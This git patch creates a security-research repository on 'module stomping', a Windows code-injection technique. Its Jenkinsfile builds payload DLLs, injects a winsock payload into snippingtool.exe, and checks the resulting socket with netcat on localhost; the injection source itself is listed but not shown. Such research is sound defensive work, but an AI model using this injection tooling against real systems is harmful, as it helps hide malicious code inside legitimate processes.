From b55b187ccb5abd8f98e5df00ee15d8198378103b Mon Sep 17 00:00:00 2001 From: Aliz Hammond Date: Thu, 15 Aug 2019 18:29:13 +0800 Subject: [PATCH] New repo for public release, part 1 --- .gitIgnore | 7 + Jenkinsfile | 37 + README.md | 3 + cowspot.sln | 41 + .../moduleStompingBlogPost-part-1.docx | Bin 0 -> 81926 bytes inject_simple/inject_simple.cpp | 47 ++ inject_simple/inject_simple.vcxproj | 178 +++++ inject_simple/pch.cpp | 5 + inject_simple/pch.h | 6 + inject_simple/shellcode.h | 36 + injectionUtils/injectionUtils.vcxproj | 181 +++++ injectionUtils/moduleManipulation.cpp | 724 ++++++++++++++++++ injectionUtils/moduleManipulation.h | 165 ++++ injectionUtils/public.h | 8 + injectionUtils/stdafx.cpp | 1 + injectionUtils/stdafx.h | 6 + injectionUtils/targetver.h | 8 + injectionUtils/utils.cpp | 172 +++++ 18 files changed, 1625 insertions(+) create mode 100644 .gitIgnore create mode 100644 Jenkinsfile create mode 100644 README.md create mode 100644 cowspot.sln create mode 100644 documentation/moduleStompingBlogPost-part-1.docx create mode 100644 inject_simple/inject_simple.cpp create mode 100644 inject_simple/inject_simple.vcxproj create mode 100644 inject_simple/pch.cpp create mode 100644 inject_simple/pch.h create mode 100644 inject_simple/shellcode.h create mode 100644 injectionUtils/injectionUtils.vcxproj create mode 100644 injectionUtils/moduleManipulation.cpp create mode 100644 injectionUtils/moduleManipulation.h create mode 100644 injectionUtils/public.h create mode 100644 injectionUtils/stdafx.cpp create mode 100644 injectionUtils/stdafx.h create mode 100644 injectionUtils/targetver.h create mode 100644 injectionUtils/utils.cpp diff --git a/.gitIgnore b/.gitIgnore new file mode 100644 index 0000000..39876cc --- /dev/null +++ b/.gitIgnore @@ -0,0 +1,7 @@ +.vs +*.vcxproj.filters +*.vcxproj.user +*/x64/ +x64 +Release +Debug \ No newline at end of file diff --git a/Jenkinsfile b/Jenkinsfile new file mode 100644 index 0000000..99be115 --- /dev/null +++ b/Jenkinsfile @@ -0,0 +1,37 @@ +// Build the main project via VS on a windows box +node('windows') +{ + deleteDir() + checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]]) + + bat "\"${tool 'msbuildVS2017'}\" cowspot.sln /p:Configuration=Debug /p:Platform=\"x64\" /p:ProductVersion=1.0.0.${env.BUILD_NUMBER}" + + archiveArtifacts 'x64\\Debug\\driver\\*,x64\\**\\*.pdb,x64\\**\\*.exe' +} + +// Build the injection payloads on Linux. It's easier than trying to do an unattended install of mingw on windows (!) +node('linux') +{ + sh "apt-get install -y g++-mingw-w64-x86-64 make" + + deleteDir() + checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]]) + + dir("injectionPayloads") + { + sh "make ldscript=ldscript.WindowsCodecsRaw" + archiveArtifacts '*.dll' + } + stash "injectionPayloads" +} + +// Now go back to the windows box, and do an injection! +// Try to inject the winsock payload, and test that the required socket is opened. +node('windows') +{ + unstash "injectionPayloads" + bat returnStatus: true, script: "taskkill /im snippingtool.exe /f" + bat "start C:\\windows\\system32\\snippingtool.exe" + bat "x64\\debug\\inject.exe snippingtool.exe injectionPayloads\\winsock.dll WindowsCodecsRaw.dll" + bat "nc -v -z localhost 27015" +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..c80d9eb --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +Part 1 of Countercept's research on module stomping - see https://blog.f-secure.com/hiding-malicious-code-with-module-stomping . + +The full text of the associated blogpost is available in the Documentation directory. \ No newline at end of file diff --git a/cowspot.sln b/cowspot.sln new file mode 100644 index 0000000..f35f03a --- /dev/null +++ b/cowspot.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28010.2046 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.Build.0 = Debug|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.ActiveCfg = Release|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.Build.0 = Release|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.ActiveCfg = Release|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.Build.0 = Release|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.ActiveCfg = Debug|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.Build.0 = Debug|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.ActiveCfg = Debug|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.Build.0 = Debug|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.ActiveCfg = Release|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.Build.0 = Release|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.ActiveCfg = Release|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B90013BF-86FB-4B90-88EB-72D19D7E01D0} + EndGlobalSection +EndGlobal diff --git a/documentation/moduleStompingBlogPost-part-1.docx b/documentation/moduleStompingBlogPost-part-1.docx new file mode 100644 index 0000000000000000000000000000000000000000..d891ce06a2043a6138729e51bc32241b76c0dac4 GIT binary patch literal 81926 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 